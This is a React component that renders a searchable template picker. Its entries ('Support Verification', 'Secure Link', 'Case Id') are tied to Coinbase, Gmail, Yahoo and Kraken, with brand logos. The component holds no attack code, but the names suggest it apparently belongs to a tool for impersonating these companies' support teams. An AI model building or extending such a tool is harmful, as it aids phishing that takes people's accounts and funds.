'use client'

import * as React from 'react'
import Image from 'next/image'
import { cn } from '@/lib/utils'
import { Button } from '@/components/ui/button'
import {
  Command,
  CommandEmpty,
  CommandGroup,
  CommandInput,
  CommandItem,
  CommandList
} from '@/components/ui/command'
import {
  Popover,
  PopoverContent,
  PopoverTrigger
} from '@/components/ui/popover'

const templates = [
  {
    value: 'srv',
    label: 'Support Verification',
    type: 'coinbase'
  },
  {
    value: 'securelink',
    label: 'Secure Link',
    type: 'coinbase'
  },
  {
    value: 'caseid',
    label: 'Case Id',
    type: 'gmail'
  },
  {
    value: 'caseid_yahoo',
    label: 'Case Id',
    type: 'yahoo'
  },
  {
    value: 'caseid_kr',
    label: 'Case Id',
    type: 'kraken'
  },
]

interface TemplateProps {
  value: string
  setValue: (code: string) => void
}

function getImage(typ: string) {
  switch (typ) {
    case 'gmail':
      return '/Google__G__logo.svg.webp'
    case 'kraken':
      return '/channels4_profile.jpg'
    case 'yahoo':
      return '/3992609.png'
    default:
      return '/886427730_150.jpg'
  }
}
export function TemplatePicker({ value, setValue }: TemplateProps) {
  const [open, setOpen] = React.useState(false)

  return (
    <Popover open={open} onOpenChange={setOpen}>
      <PopoverTrigger asChild>
        <Button
          variant='outline'
          role='combobox'
          aria-expanded={open}
          className={cn(
            value ? '' : 'text-foreground/80',
            'w-full h-fit justify-start flex gap-3 p-2 hover:bg-background'
          )}
        >
          <div className='rounded-md relative w-10 h-10 bg-accent'>
            {value ? (
              <Image
                src={getImage(templates.find(t => t.value === value)?.type || '')}
                className='rounded-md'
                alt=''
                fill
              />
            ) : (
              <></>
            )}
          </div>
          {value
            ? templates.find(templ => templ.value === value)?.label
            : 'Select Template...'}
        </Button>
      </PopoverTrigger>
      <PopoverContent
        style={{
          width: 'var(--radix-popover-trigger-width)',
          maxHeight: 'var(--radix-popover-content-available-height)'
        }}
        className='p-0'
      >
        <Command>
          <CommandInput placeholder='Search...' />
          <CommandList>
            <CommandEmpty>No template found.</CommandEmpty>
            <CommandGroup>
              {templates.map(templ => (
                <CommandItem
                  key={templ.value}
                  value={templ.value}
                  onSelect={currentValue => {
                    setValue(currentValue === value ? '' : currentValue)
                    setOpen(false)
                  }}
                >
                  <div className='rounded-md w-10 h-10 relative bg-accent'>
                    <Image
                      src={getImage(templ.type)}
                      className='rounded-md'
                      alt=''
                      fill
                    />
                  </div>

                  {templ.label}
                </CommandItem>
              ))}
            </CommandGroup>
          </CommandList>
        </Command>
      </PopoverContent>
    </Popover>
  )
}
